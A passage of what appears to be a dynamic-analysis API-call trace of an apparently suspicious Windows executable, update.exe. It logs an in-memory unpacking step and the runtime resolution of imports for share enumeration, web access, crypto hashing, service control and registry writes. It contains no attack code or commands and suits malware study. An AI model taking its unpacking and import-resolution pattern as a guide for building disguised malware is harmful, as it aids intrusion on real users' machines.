dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0034.818] VirtualAlloc (lpAddress=0x0, dwSize=0x4ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x630000 [0034.823] VirtualProtect (in: lpAddress=0x400000, dwSize=0x6a000, flNewProtect=0x40, lpflOldProtect=0x18fdc8 | out: lpflOldProtect=0x18fdc8*=0x2) returned 1 [0034.863] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0034.864] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x772d0000 [0034.864] GetProcAddress (hModule=0x772d0000, lpProcName="RpcStringFreeW") returned 0x772f1635 [0034.864] GetProcAddress (hModule=0x772d0000, lpProcName="UuidToStringW") returned 0x77311ee5 [0034.865] GetProcAddress (hModule=0x772d0000, lpProcName="UuidToStringA") returned 0x7734d918 [0034.865] GetProcAddress (hModule=0x772d0000, lpProcName="RpcStringFreeA") returned 0x77313fc5 [0034.865] GetProcAddress (hModule=0x772d0000, lpProcName="UuidCreate") returned 0x772ef48b [0034.865] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75270000 [0035.236] GetProcAddress (hModule=0x75270000, lpProcName="WNetCloseEnum") returned 0x75272dd6 [0035.236] GetProcAddress (hModule=0x75270000, lpProcName="WNetOpenEnumW") returned 0x75272f06 [0035.236] GetProcAddress (hModule=0x75270000, lpProcName="WNetEnumResourceW") returned 0x75273058 [0035.236] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x75be0000 [0037.821] GetProcAddress (hModule=0x75be0000, lpProcName="InternetOpenA") returned 0x75c0f18e [0037.821] GetProcAddress (hModule=0x75be0000, lpProcName="InternetReadFile") returned 0x75bfb406 [0037.821] GetProcAddress (hModule=0x75be0000, lpProcName="HttpQueryInfoW") returned 0x75c05c75 [0037.821] GetProcAddress (hModule=0x75be0000, lpProcName="InternetCloseHandle") returned 0x75bfab49 [0037.821] GetProcAddress (hModule=0x75be0000, lpProcName="InternetOpenW") returned 0x75c09197 [0037.821] GetProcAddress (hModule=0x75be0000, lpProcName="InternetOpenUrlW") returned 0x75c5be5c [0037.821] GetProcAddress (hModule=0x75be0000, lpProcName="InternetOpenUrlA") returned 0x75c230f1 [0037.821] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x75230000 [0037.974] GetProcAddress (hModule=0x75230000, lpProcName="timeGetTime") returned 0x752326e0 [0037.974] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75ce0000 [0037.974] GetProcAddress (hModule=0x75ce0000, lpProcName="PathFindExtensionW") returned 0x75cfa1b9 [0037.974] GetProcAddress (hModule=0x75ce0000, lpProcName="PathFindFileNameW") returned 0x75cfbb71 [0037.974] GetProcAddress (hModule=0x75ce0000, lpProcName="PathFileExistsA") returned 0x75d1ad1a [0037.974] GetProcAddress (hModule=0x75ce0000, lpProcName="PathAppendW") returned 0x75cf81ef [0037.974] GetProcAddress (hModule=0x75ce0000, lpProcName="PathRemoveFileSpecW") returned 0x75cf3248 [0037.974] GetProcAddress (hModule=0x75ce0000, lpProcName="PathAppendA") returned 0x75ced65e [0037.975] GetProcAddress (hModule=0x75ce0000, lpProcName="PathFileExistsW") returned 0x75cf45bf [0037.975] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x75a20000 [0037.975] GetProcAddress (hModule=0x75a20000, lpProcName="GetTimeFormatW") returned 0x75a4f481 [0037.975] GetProcAddress (hModule=0x75a20000, lpProcName="GetDateFormatW") returned 0x75a534d7 [0037.975] GetProcAddress (hModule=0x75a20000, lpProcName="EnumSystemLocalesW") returned 0x75ab425f [0037.975] GetProcAddress (hModule=0x75a20000, lpProcName="GetUserDefaultLCID") returned 0x75a33da5 [0037.975] GetProcAddress (hModule=0x75a20000, lpProcName="IsValidLocale") returned 0x75a4ce46 [0037.975] GetProcAddress (hModule=0x75a20000, lpProcName="GetLocaleInfoW") returned 0x75a33c42 [0037.975] GetProcAddress (hModule=0x75a20000, lpProcName="GetCommandLineW") returned 0x75a35223 [0037.975] GetProcAddress (hModule=0x75a20000, lpProcName="GetFileSize") returned 0x75a3196e [0037.975] GetProcAddress (hModule=0x75a20000, lpProcName="FindFirstFileW") returned 0x75a34435 [0037.976] GetProcAddress (hModule=0x75a20000, lpProcName="SetFilePointer") returned 0x75a317d1 [0037.976] GetProcAddress (hModule=0x75a20000, lpProcName="lstrlenA") returned 0x75a35a4b [0037.976] GetProcAddress (hModule=0x75a20000, lpProcName="SetErrorMode") returned 0x75a31b00 [0037.976] GetProcAddress (hModule=0x75a20000, lpProcName="CreateProcessW") returned 0x75a3103d [0037.976] GetProcAddress (hModule=0x75a20000, lpProcName="CreateDirectoryW") returned 0x75a34259 [0037.976] GetProcAddress (hModule=0x75a20000, lpProcName="WaitForSingleObject") returned 0x75a31136 [0037.976] GetProcAddress (hModule=0x75a20000, lpProcName="GetLogicalDrives") returned 0x75a35371 [0037.976] GetProcAddress (hModule=0x75a20000, lpProcName="VirtualFree") returned 0x75a3186e [0037.976] GetProcAddress (hModule=0x75a20000, lpProcName="WriteFile") returned 0x75a31282 [0037.976] GetProcAddress (hModule=0x75a20000, lpProcName="GetDriveTypeA") returned 0x75a4ef75 [0037.977] GetProcAddress (hModule=0x75a20000, lpProcName="OpenProcess") returned 0x75a31986 [0037.977] GetProcAddress (hModule=0x75a20000, lpProcName="GlobalAlloc") returned 0x75a3588e [0037.977] GetProcAddress (hModule=0x75a20000, lpProcName="GetSystemDirectoryW") returned 0x75a35063 [0037.977] GetProcAddress (hModule=0x75a20000, lpProcName="WideCharToMultiByte") returned 0x75a3170d [0037.977] GetProcAddress (hModule=0x75a20000, lpProcName="LoadLibraryW") returned 0x75a3492b [0037.977] GetProcAddress (hModule=0x75a20000, lpProcName="Sleep") returned 0x75a310ff [0037.977] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileW") returned 0x75a5830d [0037.977] GetProcAddress (hModule=0x75a20000, lpProcName="FormatMessageW") returned 0x75a34620 [0037.977] GetProcAddress (hModule=0x75a20000, lpProcName="lstrcpynW") returned 0x75a5d556 [0037.977] GetProcAddress (hModule=0x75a20000, lpProcName="ReadFile") returned 0x75a33ed3 [0037.977] GetProcAddress (hModule=0x75a20000, lpProcName="CreateFileW") returned 0x75a33f5c [0037.977] GetProcAddress (hModule=0x75a20000, lpProcName="lstrcatA") returned 0x75a52b7a [0037.978] GetProcAddress (hModule=0x75a20000, lpProcName="lstrcmpW") returned 0x75a35929 [0037.978] GetProcAddress (hModule=0x75a20000, lpProcName="MultiByteToWideChar") returned 0x75a3192e [0037.978] GetProcAddress (hModule=0x75a20000, lpProcName="lstrlenW") returned 0x75a31700 [0037.978] GetProcAddress (hModule=0x75a20000, lpProcName="GetLastError") returned 0x75a311c0 [0037.978] GetProcAddress (hModule=0x75a20000, lpProcName="SetLastError") returned 0x75a311a9 [0037.978] GetProcAddress (hModule=0x75a20000, lpProcName="GetProcAddress") returned 0x75a31222 [0037.978] GetProcAddress (hModule=0x75a20000, lpProcName="VirtualAlloc") returned 0x75a31856 [0037.978] GetProcAddress (hModule=0x75a20000, lpProcName="MoveFileW") returned 0x75a49af0 [0037.978] GetProcAddress (hModule=0x75a20000, lpProcName="LocalAlloc") returned 0x75a3168c [0037.978] GetProcAddress (hModule=0x75a20000, lpProcName="CreateEventW") returned 0x75a3183e [0037.978] GetProcAddress (hModule=0x75a20000, lpProcName="lstrcatW") returned 0x75a5828e [0037.978] GetProcAddress (hModule=0x75a20000, lpProcName="FindNextFileW") returned 0x75a354ee [0037.979] GetProcAddress (hModule=0x75a20000, lpProcName="CloseHandle") returned 0x75a31410 [0037.979] GetProcAddress (hModule=0x75a20000, lpProcName="DeleteFileW") returned 0x75a389b3 [0037.979] GetProcAddress (hModule=0x75a20000, lpProcName="LocalFree") returned 0x75a32d3c [0037.979] GetProcAddress (hModule=0x75a20000, lpProcName="CompareStringW") returned 0x75a33bca [0037.979] GetProcAddress (hModule=0x75a20000, lpProcName="SetPriorityClass") returned 0x75a4cf28 [0037.979] GetProcAddress (hModule=0x75a20000, lpProcName="GetCurrentProcess") returned 0x75a31809 [0037.979] GetProcAddress (hModule=0x75a20000, lpProcName="GetComputerNameW") returned 0x75a3dd0e [0037.979] GetProcAddress (hModule=0x75a20000, lpProcName="GetExitCodeProcess") returned 0x75a4174d [0037.979] GetProcAddress (hModule=0x75a20000, lpProcName="TerminateProcess") returned 0x75a4d802 [0037.979] GetProcAddress (hModule=0x75a20000, lpProcName="GetModuleFileNameW") returned 0x75a34950 [0037.979] GetProcAddress (hModule=0x75a20000, lpProcName="GlobalFree") returned 0x75a35558 [0037.980] GetProcAddress (hModule=0x75a20000, lpProcName="CreateMutexA") returned 0x75a34c6b [0037.980] GetProcAddress (hModule=0x75a20000, lpProcName="GetVersion") returned 0x75a34467 [0037.980] GetProcAddress (hModule=0x75a20000, lpProcName="GetCurrentProcessId") returned 0x75a311f8 [0037.980] GetProcAddress (hModule=0x75a20000, lpProcName="CreateThread") returned 0x75a334d5 [0037.980] GetProcAddress (hModule=0x75a20000, lpProcName="CreateFileA") returned 0x75a353c6 [0037.980] GetProcAddress (hModule=0x75a20000, lpProcName="CreateDirectoryA") returned 0x75a5d526 [0037.980] GetProcAddress (hModule=0x75a20000, lpProcName="lstrcpyA") returned 0x75a52a9d [0037.980] GetProcAddress (hModule=0x75a20000, lpProcName="FatalAppExitA") returned 0x75ab4691 [0037.980] GetProcAddress (hModule=0x75a20000, lpProcName="CreateSemaphoreW") returned 0x75a4ca5a [0037.980] GetProcAddress (hModule=0x75a20000, lpProcName="GetModuleHandleW") returned 0x75a334b0 [0037.980] GetProcAddress (hModule=0x75a20000, lpProcName="GetTickCount") returned 0x75a3110c [0037.980] GetProcAddress (hModule=0x75a20000, lpProcName="TlsFree") returned 0x75a33587 [0037.981] GetProcAddress (hModule=0x75a20000, lpProcName="TlsSetValue") returned 0x75a314fb [0037.981] GetProcAddress (hModule=0x75a20000, lpProcName="TlsGetValue") returned 0x75a311e0 [0037.981] GetProcAddress (hModule=0x75a20000, lpProcName="TlsAlloc") returned 0x75a349ad [0037.981] GetProcAddress (hModule=0x75a20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75a31916 [0037.981] GetProcAddress (hModule=0x75a20000, lpProcName="SetUnhandledExceptionFilter") returned 0x75a387c9 [0037.981] GetProcAddress (hModule=0x75a20000, lpProcName="UnhandledExceptionFilter") returned 0x75a5772f [0037.981] GetProcAddress (hModule=0x75a20000, lpProcName="FreeEnvironmentStringsW") returned 0x75a351cb [0037.981] GetProcAddress (hModule=0x75a20000, lpProcName="GetEnvironmentStringsW") returned 0x75a351e3 [0037.981] GetProcAddress (hModule=0x75a20000, lpProcName="GetSystemTimeAsFileTime") returned 0x75a33509 [0037.981] GetProcAddress (hModule=0x75a20000, lpProcName="QueryPerformanceCounter") returned 0x75a31725 [0037.981] GetProcAddress (hModule=0x75a20000, lpProcName="GetStartupInfoW") returned 0x75a34d40 [0037.981] GetProcAddress (hModule=0x75a20000, lpProcName="DeleteCriticalSection") returned 0x778845f5 [0037.982] GetProcAddress (hModule=0x75a20000, lpProcName="GetFileType") returned 0x75a33531 [0037.982] GetProcAddress (hModule=0x75a20000, lpProcName="RaiseException") returned 0x75a358a6 [0037.982] GetProcAddress (hModule=0x75a20000, lpProcName="LCMapStringW") returned 0x75a317b9 [0037.982] GetProcAddress (hModule=0x75a20000, lpProcName="GetConsoleCP") returned 0x75ad7bff [0037.982] GetProcAddress (hModule=0x75a20000, lpProcName="GetConsoleMode") returned 0x75a31328 [0037.982] GetProcAddress (hModule=0x75a20000, lpProcName="SetFilePointerEx") returned 0x75a4c807 [0037.982] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleCtrlHandler") returned 0x75a38a09 [0037.982] GetProcAddress (hModule=0x75a20000, lpProcName="FreeLibrary") returned 0x75a334c8 [0037.982] GetProcAddress (hModule=0x75a20000, lpProcName="LoadLibraryExW") returned 0x75a3495d [0037.982] GetProcAddress (hModule=0x75a20000, lpProcName="OutputDebugStringW") returned 0x75a5d1d4 [0037.982] GetProcAddress (hModule=0x75a20000, lpProcName="HeapReAlloc") returned 0x77891f6e [0037.983] GetProcAddress (hModule=0x75a20000, lpProcName="RtlUnwind") returned 0x75a5d1c3 [0037.983] GetProcAddress (hModule=0x75a20000, lpProcName="SetStdHandle") returned 0x75ab454f [0037.983] GetProcAddress (hModule=0x75a20000, lpProcName="HeapFree") returned 0x75a314c9 [0037.983] GetProcAddress (hModule=0x75a20000, lpProcName="HeapAlloc") returned 0x7787e026 [0037.983] GetProcAddress (hModule=0x75a20000, lpProcName="WriteConsoleW") returned 0x75a57aca [0037.983] GetProcAddress (hModule=0x75a20000, lpProcName="FlushFileBuffers") returned 0x75a3469b [0037.983] GetProcAddress (hModule=0x75a20000, lpProcName="EncodePointer") returned 0x77890fcb [0037.983] GetProcAddress (hModule=0x75a20000, lpProcName="DecodePointer") returned 0x77889d35 [0037.983] GetProcAddress (hModule=0x75a20000, lpProcName="GetStringTypeW") returned 0x75a31946 [0037.983] GetProcAddress (hModule=0x75a20000, lpProcName="LeaveCriticalSection") returned 0x77872270 [0037.983] GetProcAddress (hModule=0x75a20000, lpProcName="EnterCriticalSection") returned 0x778722b0 [0037.984] GetProcAddress (hModule=0x75a20000, lpProcName="HeapSize") returned 0x77883002 [0037.984] GetProcAddress (hModule=0x75a20000, lpProcName="GetStdHandle") returned 0x75a351b3 [0037.984] GetProcAddress (hModule=0x75a20000, lpProcName="AreFileApisANSI") returned 0x75ab40d1 [0037.984] GetProcAddress (hModule=0x75a20000, lpProcName="GetModuleHandleExW") returned 0x75a34a6f [0037.984] GetProcAddress (hModule=0x75a20000, lpProcName="ExitProcess") returned 0x75a37a10 [0037.984] GetProcAddress (hModule=0x75a20000, lpProcName="GetProcessHeap") returned 0x75a314e9 [0037.984] GetProcAddress (hModule=0x75a20000, lpProcName="GetCurrentThreadId") returned 0x75a31450 [0037.984] GetProcAddress (hModule=0x75a20000, lpProcName="GetCurrentThread") returned 0x75a317ec [0037.984] GetProcAddress (hModule=0x75a20000, lpProcName="IsValidCodePage") returned 0x75a34493 [0037.984] GetProcAddress (hModule=0x75a20000, lpProcName="GetACP") returned 0x75a3179c [0037.984] GetProcAddress (hModule=0x75a20000, lpProcName="GetOEMCP") returned 0x75a5d1a1 [0037.985] GetProcAddress (hModule=0x75a20000, lpProcName="GetCPInfo") returned 0x75a35189 [0037.985] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0037.985] GetProcAddress (hModule=0x75a20000, lpProcName="lstrcpyW") returned 0x75a53102 [0037.985] GetProcAddress (hModule=0x75a20000, lpProcName="IsProcessorFeaturePresent") returned 0x75a35235 [0037.985] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x756f0000 [0037.985] GetProcAddress (hModule=0x756f0000, lpProcName="PostQuitMessage") returned 0x75709abb [0037.985] GetProcAddress (hModule=0x756f0000, lpProcName="LoadCursorW") returned 0x757088f7 [0037.985] GetProcAddress (hModule=0x756f0000, lpProcName="BeginPaint") returned 0x75711361 [0037.985] GetProcAddress (hModule=0x756f0000, lpProcName="TranslateMessage") returned 0x75707809 [0037.985] GetProcAddress (hModule=0x756f0000, lpProcName="RegisterClassExW") returned 0x7570b17d [0037.986] GetProcAddress (hModule=0x756f0000, lpProcName="ShowWindow") returned 0x75710dfb [0037.986] GetProcAddress (hModule=0x756f0000, lpProcName="IsWindow") returned 0x75707136 [0037.986] GetProcAddress (hModule=0x756f0000, lpProcName="CreateWindowExW") returned 0x75708a29 [0037.986] GetProcAddress (hModule=0x756f0000, lpProcName="UpdateWindow") returned 0x75713559 [0037.986] GetProcAddress (hModule=0x756f0000, lpProcName="DefWindowProcW") returned 0x778825dd [0037.986] GetProcAddress (hModule=0x756f0000, lpProcName="PeekMessageW") returned 0x757105ba [0037.986] GetProcAddress (hModule=0x756f0000, lpProcName="PostThreadMessageW") returned 0x75708bff [0037.986] GetProcAddress (hModule=0x756f0000, lpProcName="MessageBoxW") returned 0x7575fd3f [0037.986] GetProcAddress (hModule=0x756f0000, lpProcName="DispatchMessageW") returned 0x7570787b [0037.986] GetProcAddress (hModule=0x756f0000, lpProcName="DestroyWindow") returned 0x75709a55 [0037.986] GetProcAddress (hModule=0x756f0000, lpProcName="EndPaint") returned 0x75711341 [0037.987] GetProcAddress (hModule=0x756f0000, lpProcName="SendMessageW") returned 0x75709679 [0037.987] GetProcAddress (hModule=0x756f0000, lpProcName="GetMessageW") returned 0x757078e2 [0037.987] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x75b30000 [0037.987] GetProcAddress (hModule=0x75b30000, lpProcName="CloseServiceHandle") returned 0x75b4369c [0037.987] GetProcAddress (hModule=0x75b30000, lpProcName="CryptAcquireContextW") returned 0x75b3df14 [0037.987] GetProcAddress (hModule=0x75b30000, lpProcName="GetUserNameW") returned 0x75b4157a [0037.987] GetProcAddress (hModule=0x75b30000, lpProcName="CryptHashData") returned 0x75b3df36 [0037.987] GetProcAddress (hModule=0x75b30000, lpProcName="RegSetValueExW") returned 0x75b414d6 [0037.987] GetProcAddress (hModule=0x75b30000, lpProcName="RegCloseKey") returned 0x75b4469d [0037.987] GetProcAddress (hModule=0x75b30000, lpProcName="CryptDestroyHash") returned 0x75b3df66 [0037.987] GetProcAddress (hModule=0x75b30000, lpProcName="OpenSCManagerW") returned 0x75b3ca64 [0037.988] GetProcAddress (hModule=0x75b30000, lpProcName="OpenServiceW") returned 0x75b3ca4c [0037.988] GetProcAddress (hModule=0x75b30000, lpProcName="ControlService") returned 0x75b57144 [0037.988] GetProcAddress (hModule=0x75b30000, lpProcName="RegOpenKeyExW") returned 0x75b4468d [0037.988] GetProcAddress (hModule=0x75b30000, lpProcName="CryptCreateHash") returned 0x75b3df4e [0037.988] GetProcAddress (hModule=0x75b30000, lpProcName="QueryServiceStatus") returned 0x75b42a86 [0037.988] GetProcAddress (hModule=0x75b30000, lpProcName="RegQueryValueExW") returned 0x75b446ad [0037.989] GetProcAddress (hModule=0x75b30000, lpProcName="CryptReleaseContext") returned 0x75b3e124 [0037.989] GetProcAddress (hModule=0x75b30000, lpProcName="CryptGetHashParam") returned 0x75b3df7e [0037.989] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x76670000 [0039.632] GetProcAddress (hModule=0x76670000, lpProcName="SHGetPathFromIDListW") returned 0x767017bf [0039.632] GetProcAddress (hModule=0x76670000, lpProcName="SHGetSpecialFolderLocation") returned 0x766fe141 [0039.632] GetProcAddress (hModule=0x76670000, lpProcName="CommandLineToArgvW") returned 0x76689ee8 [0039.633] GetProcAddress (hModule=0x76670000, lpProcName="ShellExecuteA") returned 0x768b7078 [0039.633] GetProcAddress (hModule=0x76670000, lpProcName="ShellExecuteExW") returned 0x76691e46 [0039.633] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75540000 [0039.633] GetProcAddress (hModule=0x75540000, lpProcName="CoInitialize") returned 0x7555b636 [0039.633] GetProcAddress (hModule=0x75540000, lpProcName="CoInitializeSecurity") returned 0x75567259 [0039.633] GetProcAddress (hModule=0x75540000, lpProcName="CoUninitialize") returned 0x755886d3 [0039.633] GetProcAddress (hModule=0x75540000, lpProcName="CoCreateInstance") returned 0x75589d0b [0039.633] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75f60000 [0039.633] GetProcAddress (hModule=0x75f60000, lpProcName=0xca) returned 0x75f6fd6b [0039.633] GetProcAddress (hModule=0x75f60000, lpProcName=0x2) returned 0x75f64642 [0039.633] GetProcAddress (hModule=0x75f60000, lpProcName=0x9) returned 0x75f63eae [0039.633] GetProcAddress (hModule=0x75f60000, lpProcName=0x8) returned 0x75f63ed5 [0039.633] GetProcAddress (hModule=0x75f60000, lpProcName=0x6) returned 0x75f63e59 [0039.634] GetProcAddress (hModule=0x75f60000, lpProcName=0xc8) returned 0x75f63f21 [0039.634] GetProcAddress (hModule=0x75f60000, lpProcName=0xc) returned 0x75f65dee [0039.634] GetProcAddress (hModule=0x75f60000, lpProcName=0xc9) returned 0x75f64af8 [0039.634] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x75210000 [0039.799] GetProcAddress (hModule=0x75210000, lpProcName="GetAdaptersInfo") returned 0x75219263 [0039.799] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x764c0000 [0039.942] GetProcAddress (hModule=0x764c0000, lpProcName=0xc) returned 0x764cb131 [0039.942] GetProcAddress (hModule=0x764c0000, lpProcName=0xb) returned 0x764c311b [0039.942] GetProcAddress (hModule=0x764c0000, lpProcName=0x34) returned 0x764d7673 [0039.942] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x751b0000 [0040.070] GetProcAddress (hModule=0x751b0000, lpProcName="DnsFree") returned 0x751b436b [0040.070] GetProcAddress (hModule=0x751b0000, lpProcName="DnsQuery_W") returned 0x751c572c [0040.070] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x750f0000 [0040.256] GetProcAddress (hModule=0x750f0000, lpProcName="atexit") returned 0x7510c544 [0040.256] atexit (param_1=0x912f82) returned 0 [0040.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fdd4 | out: lpSystemTimeAsFileTime=0x18fdd4*(dwLowDateTime=0x9bd7a9f0, dwHighDateTime=0x1d4800f)) [0040.257] GetCurrentThreadId () returned 0x8e0 [0040.257] GetCurrentProcessId () returned 0x8dc [0040.257] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdcc | out: lpPerformanceCount=0x18fdcc*=1810445200000) returned 1 [0040.257] GetStartupInfoW (in: lpStartupInfo=0x18fd64 | out: lpStartupInfo=0x18fd64*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x75a31856, hStdOutput=0x7786fd35, hStdError=0x778d7daf)) [0040.257] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0040.257] GetProcAddress (hModule=0x75a20000, lpProcName="FlsAlloc") returned 0x75a34f2b [0040.257] GetProcAddress (hModule=0x75a20000, lpProcName="FlsFree") returned 0x75a3359f [0040.257] GetProcAddress (hModule=0x75a20000, lpProcName="FlsGetValue") returned 0x75a31252 [0040.257] GetProcAddress (hModule=0x75a20000, lpProcName="FlsSetValue") returned 0x75a34208 [0040.257] GetProcAddress (hModule=0x75a20000, lpProcName="InitializeCriticalSectionEx") returned 0x75a34d28 [0040.257] GetProcAddress (hModule=0x75a20000, lpProcName="CreateEventExW") returned 0x75ab410b [0040.257] GetProcAddress (hModule=0x75a20000, lpProcName="CreateSemaphoreExW") returned 0x75ab4195 [0040.257] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadStackGuarantee") returned 0x75a3d31f [0040.258] GetProcAddress (hModule=0x75a20000, lpProcName="CreateThreadpoolTimer") returned 0x75a4ee7e [0040.258] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadpoolTimer") returned 0x7789441c [0040.258] GetProcAddress (hModule=0x75a20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x778bc50e [0040.258] GetProcAddress (hModule=0x75a20000, lpProcName="CloseThreadpoolTimer") returned 0x778bc381 [0040.258] GetProcAddress (hModule=0x75a20000, lpProcName="CreateThreadpoolWait") returned 0x75a4f088 [0040.258] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadpoolWait") returned 0x778a05d7 [0040.258] GetProcAddress (hModule=0x75a20000, lpProcName="CloseThreadpoolWait") returned 0x778bca24 [0040.258] GetProcAddress (hModule=0x75a20000, lpProcName="FlushProcessWriteBuffers") returned 0x77870b8c [0040.258] GetProcAddress (hModule=0x75a20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7792fde8 [0040.258] GetProcAddress (hModule=0x75a20000, lpProcName="GetCurrentProcessorNumber") returned 0x778c1e1d [0040.258] GetProcAddress (hModule=0x75a20000, lpProcName="GetLogicalProcessorInformation") returned 0x75ab4761 [0040.258] GetProcAddress (hModule=0x75a20000, lpProcName="CreateSymbolicLinkW") returned 0x75aacd11 [0040.259] GetProcAddress (hModule=0x75a20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0040.259] GetProcAddress (hModule=0x75a20000, lpProcName="EnumSystemLocalesEx") returned 0x75ab424f [0040.259] GetProcAddress (hModule=0x75a20000, lpProcName="CompareStringEx") returned 0x75ab46b1 [0040.259] GetProcAddress (hModule=0x75a20000, lpProcName="GetDateFormatEx") returned 0x75ac6676 [0040.259] GetProcAddress (hModule=0x75a20000, lpProcName="GetLocaleInfoEx") returned 0x75ab4751 [0040.259] GetProcAddress (hModule=0x75a20000, lpProcName="GetTimeFormatEx") returned 0x75ac65f1 [0040.259] GetProcAddress (hModule=0x75a20000, lpProcName="GetUserDefaultLocaleName") returned 0x75ab47c1 [0040.259] GetProcAddress (hModule=0x75a20000, lpProcName="IsValidLocaleName") returned 0x75ab47e1 [0040.259] GetProcAddress (hModule=0x75a20000, lpProcName="LCMapStringEx") returned 0x75ab47f1 [0040.259] GetProcAddress (hModule=0x75a20000, lpProcName="GetCurrentPackageId") returned 0x0 [0040.259] GetProcAddress (hModule=0x75a20000, lpProcName="GetTickCount64") returned 0x75a4eee0 [0040.260] GetProcAddress (hModule=0x75a20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0040.260] GetProcAddress (hModule=0x75a20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0040.260] GetCurrentThreadId () returned 0x8e0 [0040.260] GetStartupInfoW (in: lpStartupInfo=0x18fd34 | out: lpStartupInfo=0x18fd34*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x415e4a, hStdOutput=0x1cf242a2, hStdError=0x42f6de)) [0040.260] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0040.260] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0040.260] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0040.260] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" " [0040.260] GetEnvironmentStringsW () returned 0x95be18* [0040.261] FreeEnvironmentStringsW (penv=0x95be18) returned 1 [0040.261] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x44e1f0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\update.exe")) returned 0x30 [0040.262] GetLastError () returned 0x0 [0040.262] SetLastError (dwErrCode=0x0) [0040.262] GetLastError () returned 0x0 [0040.262] SetLastError (dwErrCode=0x0) [0040.262] GetLastError () returned 0x0 [0040.262] SetLastError (dwErrCode=0x0) [0040.262] GetACP () returned 0x4e4 [0040.262] GetLastError () returned 0x0 [0040.262] SetLastError (dwErrCode=0x0) [0040.262] IsValidCodePage (CodePage=0x4e4) returned 1 [0040.262] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fd28 | out: lpCPInfo=0x18fd28) returned 1 [0040.262] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f7f0 | out: lpCPInfo=0x18f7f0) returned 1 [0040.262] GetLastError () returned 0x0 [0040.262] SetLastError (dwErrCode=0x0) [0040.262] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0040.262] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x18f568, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0040.262] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 